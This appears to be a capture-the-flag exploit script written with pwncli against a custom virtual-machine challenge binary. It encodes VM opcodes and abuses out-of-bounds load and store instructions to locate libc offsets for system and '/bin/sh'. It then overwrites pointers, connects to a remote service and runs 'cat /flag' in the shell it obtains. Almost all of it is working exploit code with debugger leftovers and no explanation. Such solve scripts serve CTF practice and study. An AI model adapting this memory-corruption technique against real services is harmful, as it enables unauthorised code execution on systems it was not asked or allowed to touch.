1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203
| from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"] local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote": addr = '8.147.132.32 16814' host = addr.split(' ') gift.io = remote(host[0], host[1]) gift.remote = True else: gift.io = process('./pwn') if local_flag == "nodbg": gift.remote = True init_x64_context(gift.io, gift) libc = load_libc() gift.elf = ELF('./pwn')
payload = b''
def add(reg1, reg2, reg3): global payload payload += p32_ex((1 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))
def sub(reg1, reg2, reg3): global payload payload += p32_ex((2 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))
def mul(reg1, reg2, reg3): global payload payload += p32_ex((3 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))
def div(reg1, reg2, reg3): global payload payload += p32_ex((4 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))
def xor(reg1, reg2, reg3): global payload payload += p32_ex((5 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))
def and_(reg1, reg2, reg3): global payload payload += p32_ex((6 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))
def shr(reg1, reg2, reg3): global payload payload += p32_ex((8 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))
def shl(reg1, reg2, reg3): global payload payload += p32_ex((7 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))
def mov(reg1, reg2, off): """ s[reg2 + off] = reg1 """ global payload payload += p32_ex((9 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (off << 0x10))
def lea(reg1, reg2, off): """ reg1 = s[reg2 + off] """ global payload payload += p32_ex((10 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (off << 0x10))
def cal(target_value): def construct_steps_and_shift_indices(target_value): steps = [] shift_indices = []
shift_value = 1 shift_count = 0
while shift_value <= target_value: shift_count += 1 shift_value = 1 << shift_count
while target_value > 0: if shift_value <= target_value: steps.append(f"(1 << {shift_count})") shift_indices.append(shift_count) target_value -= shift_value shift_count -= 1 if shift_count >= 0: shift_value = 1 << shift_count else: break
return steps, shift_indices
def adjacent_differences(arr): return [-(arr[i + 1] - arr[i]) for i in range(len(arr) - 1)]
steps, shift_indices = construct_steps_and_shift_indices(target_value)
shift_indices.append(0) result = adjacent_differences(shift_indices)
return result
cmd = ''' brva 0x1AAD c set $s = $rsi set $code = $rebase(0x40C0) dis 1 #brva 0x1950 #brva 0x1935 # lea #brva 0x17EF #brva 0x181F # mov #brva 0x16B0 # shr #brva 0x1749 # shl #brva 0x14EF # div brva 0x1AFC c ''' launch_gdb(cmd)
lea(1, 0, 0xFE) div(1, 1, 1) add(2, 1, 1) mul(4, 2, 2) add(3, 1, 2) add(5, 2, 3) add(6, 3, 3)
lea(0x10, 0, 0xD38) lea(0x11, 0, 0x100) ''' [*] INFO dis system 0x1f34a0 [*] INFO dis rdi 0x20c72b [*] INFO dis bin 0x5e498
0x1eb555 (1 << 21) + (1 << 18) + (1 << 14) + (1 << 10) = 0x1EB555
0x211ee0 0x63c4d '''
CG.set_find_area(False, True)
for i in cal(0x655): sub(0x1D, 0x1D, 0x1D) add(0x1D, i, 0x1D) add(0x1E, 0x1E, 1) shl(0x1E, 0x1E, 0x1D)
add(0x1C, 0x10, 0x1E) mov(0x1C, 0, 0x118) add(0x1C, 0x1C, 1) mov(0x1C, 0, 0x128)
sub(0x1E, 0x1E, 0x1E) for i in cal(0x26FE0): sub(0x1D, 0x1D, 0x1D) add(0x1D, i, 0x1D) add(0x1E, 0x1E, 1) shl(0x1E, 0x1E, 0x1D)
add(0x1C, 0x10, 0x1E) mov(0x1C, 0, 0x130)
sub(0x1E, 0x1E, 0x1E) for i in cal(0x1AE8E8): sub(0x1D, 0x1D, 0x1D) add(0x1D, i, 0x1D) add(0x1E, 0x1E, 1) shl(0x1E, 0x1E, 0x1D)
add(0x1C, 0x10, 0x1E) mov(0x1C, 0, 0x120)
sa(b'opcode:', payload)
sl(b'cat /flag') ia()
|